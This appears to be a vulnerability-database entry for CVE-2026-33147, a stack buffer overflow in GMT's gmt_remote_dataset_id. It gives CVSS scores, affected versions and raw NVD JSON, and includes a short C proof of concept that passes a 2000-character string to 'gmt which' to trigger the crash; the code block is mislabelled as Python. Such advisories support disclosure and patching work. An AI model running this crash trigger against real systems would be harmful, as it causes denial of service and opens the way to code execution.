Security Vulnerability Report
中文
CVE-2026-33147 CVSS 7.3 HIGH

CVE-2026-33147

Published: 2026-03-20 21:17:15
Last Modified: 2026-03-27 21:07:19

Description

GMT is an open source collection of command-line tools for manipulating geographic and Cartesian data sets. In versions from 6.6.0 and prior, a stack-based buffer overflow vulnerability was identified in the gmt_remote_dataset_id function within src/gmt_remote.c. This issue occurs when a specially crafted long string is passed as a dataset identifier (e.g., via the which module), leading to a crash or potential arbitrary code execution. This issue has been patched via commit 0ad2b49.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:generic-mapping-tools:gmt:*:*:*:*:*:*:*:* - VULNERABLE
GMT <= 6.6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-33147 // Triggering the buffer overflow in gmt_remote_dataset_id #include <stdio.h> #include <string.h> int main() { // Create a payload longer than the expected buffer size char payload[2000]; memset(payload, 'A', sizeof(payload) - 1); payload[sizeof(payload) - 1] = '\0'; // Execute GMT with the crafted string via the 'which' module char cmd[2500]; snprintf(cmd, sizeof(cmd), "gmt which %s", payload); printf("Executing command: %s\n", cmd); system(cmd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33147", "sourceIdentifier": "[email protected]", "published": "2026-03-20T21:17:15.243", "lastModified": "2026-03-27T21:07:19.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GMT is an open source collection of command-line tools for manipulating geographic and Cartesian data sets. In versions from 6.6.0 and prior, a stack-based buffer overflow vulnerability was identified in the gmt_remote_dataset_id function within src/gmt_remote.c. This issue occurs when a specially crafted long string is passed as a dataset identifier (e.g., via the which module), leading to a crash or potential arbitrary code execution. This issue has been patched via commit 0ad2b49."}, {"lang": "es", "value": "GMT es una colección de código abierto de herramientas de línea de comandos para manipular conjuntos de datos geográficos y cartesianos. En versiones desde la 6.6.0 y anteriores, se identificó una vulnerabilidad de desbordamiento de búfer basado en pila en la función gmt_remote_dataset_id dentro de src/gmt_remote.c. Este problema ocurre cuando una cadena larga especialmente diseñada se pasa como un identificador de conjunto de datos (p. ej., a través del módulo which), lo que lleva a un fallo o a una potencial ejecución de código arbitrario. Este problema ha sido parcheado mediante el commit 0ad2b49."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:generic-mapping-tools:gmt:*:*:*:*:*:*:*:*", "versionEndIncluding": "6.6.0", "matchCriteriaId": "D97E9703-6269-40B4-ACBF-EF3D93E0D545"}]}]}], "references": [{"url": "https://github.com/GenericMappingTools/gmt/commit/0ad2b491470df82c9ec1139dcbd70502fa28a082", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/GenericMappingTools/gmt/security/advisories/GHSA-fqxx-62x7-9gwg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/GenericMappingTools/gmt/security/advisories/GHSA-fqxx-62x7-9gwg", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}